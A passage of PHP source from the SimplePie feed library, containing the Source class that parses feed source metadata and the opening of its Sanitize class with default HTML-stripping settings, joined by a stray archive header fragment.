 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<atom:source>`
 *
 * Used by {@see \SimplePie\Item::get_source()}
 *
 * This class can be overloaded with {@see \SimplePie::set_source_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Source implements RegistryAware
{
    public $item;
    public $data = [];
    protected $registry;

    public function __construct($item, $data)
    {
        $this->item = $item;
        $this->data = $data;
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function __toString()
    {
        return md5(serialize($this->data));
    }

    public function get_source_tags($namespace, $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    public function get_base($element = [])
    {
        return $this->item->get_base($element);
    }

    public function sanitize($data, $type, $base = '')
    {
        return $this->item->sanitize($data, $type, $base);
    }

    public function get_item()
    {
        return $this->item;
    }

    public function get_title()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Added for parity between the parent-level and the item/entry-level.
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    public function get_description()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    public function get_copyright()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_language()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (isset($this->data['xml_lang'])) {
            return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_latitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    public function get_longitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    public function get_image_url()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }
}

class_alias('SimplePie\Source', 'SimplePie_Source');
PKWd[DsT5b5bsrc/Sanitize.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use InvalidArgumentException;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
 *
 * @package SimplePie
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class Sanitize implements RegistryAware
{
    // Private vars
    public $base;

    // Options
    public $remove_div = true;
    public $image_handler = '';
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
    public $encode_instead_of_strip = false;
    public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
    public $rename_attributes = [];
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
    public $strip_comments = false;
    public $output_encoding = 'UTF-8';
    public $enable_cache = true;
    public $cache_location = './cache';
    public $cache_name_function = 'md5';

    /**
     * @var NameFilter
     */
    private $cache_namefilter;
    public $timeout = 10;
    public $useragent = '';
    public $force_fsockopen = false;
    public $replace_url_attributes = null;
    public $registry;

    /**
     * @var DataCache|null
     */
    private $cache = null;

    /**
     * @var int Cache duration (in seconds)
     */
    private $cache_duration = 3600;

    /**
     * List of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * Array is a tree split at DNS levels. Example:
     * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
     */
    public $https_domains = [];

    public function __construct()
    {
        // Set defaults
        $this->set_url_replacements(null);
    }

    public function remove_div($enable = true)
    {
        $this->remove_div = (bool) $enable;
    }

    public function set_image_handler($page = false)
    {
        if ($page) {
            $this->image_handler = (string) $page;
        } else {
            $this->image_handler = false;
        }
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie\Cache', ?DataCache $cache = null)
    {
        if (isset($enable_cache)) {
            $this->enable_cache = (bool) $enable_cache;
        }

        if ($cache_location) {
            $this->cache_location = (string) $cache_location;
        }

        if (!is_string($cache_name_function) && !is_object($cache_name_function) && !$cache_name_function instanceof NameFilter) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #3 ($cache_name_function) must be of type %s',
                __METHOD__,
                NameFilter::class
            ), 1);
        }

        // BC: $cache_name_function could be a callable as string
        if (is_string($cache_name_function)) {
            // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
            $this->cache_name_function = (string) $cache_name_function;

            $cache_name_function = new CallableNameFilter($cache_name_function);
        }

        $this->cache_namefilter = $cache_name_function;

        if ($cache !== null) {
            $this->cache = $cache;
        }
    }

    public function pass_file_data($file_class = 'SimplePie\File', $timeout = 10, $useragent = '', $force_fsockopen = false)
    {
        if ($timeout) {
            $this->timeout = (string) $timeout;
        }

        if ($useragent) {
            $this->useragent = (string) $useragent;
        }

        if ($force_fsockopen) {
            $this->force_fsockopen = (string) $force_fsockopen;
        }
    }

    public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
    {
        if ($tags) {
            if (is_array($tags)) {
                $this->strip_htmltags = $tags;
            } else {
                $this->strip_htmltags = explode(',', $tags);
            }
        } else {
            $this->strip_htmltags = false;
        }
    }

    public function encode_instead_of_strip($encode = false)
    {
        $this->encode_instead_of_strip = (bool) $encode;
    }

    public function rename_attributes($attribs = [])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->rename_attributes = $attribs;
            } else {
                $this->rename_attributes = explode(',', $attribs);
            }
        } else {
            $this->rename_attributes = false;
        }
    }

    public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->strip_attributes = $attribs;
            } else {
                $this->strip_attributes = explode(',', $attribs);
            }
        } else {
            $this->strip_attributes = false;
        }
    }

    public function add_attributes($attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->add_attributes = $attribs;
            } else {
                $this->add_attributes = explode(',', $attribs);
            }
        } else {
            $this->add_attributes = false;
        }
    }

    public function strip_comments($strip = false)
    {
        $this->strip_comments = (bool) $strip;
    }

    public function set_output_encoding($encoding = 'UTF-8')
    {
        $this->output_encoding = (string) $encoding;
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
     * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
     * |ins|@cite, |q|@cite, |source|@src, |video|@src
     *
     * @since 1.0
     * @param array|null $element_attribute Element/attribute key/value pairs, null for default
     */
    public function set_url_replacements($element_attribute = null)
    {
        if ($element_attribute === null) {
            $element_attribute = [
                'a' => 'href',
                'area' => 'href',
                'audio' => 'src',
                'blockquote' => 'cite',
                'del' => 'cite',
                'form' => 'action',
                'img' => [
                    'longdesc',
                    'src'
                ],
                'input' => 'src',
                'ins' => 'cite',
                'q' => 'cite',
                'source' => 'src',
                'video' => [
                    'poster',
                    'src'
                ]
            ];
        }
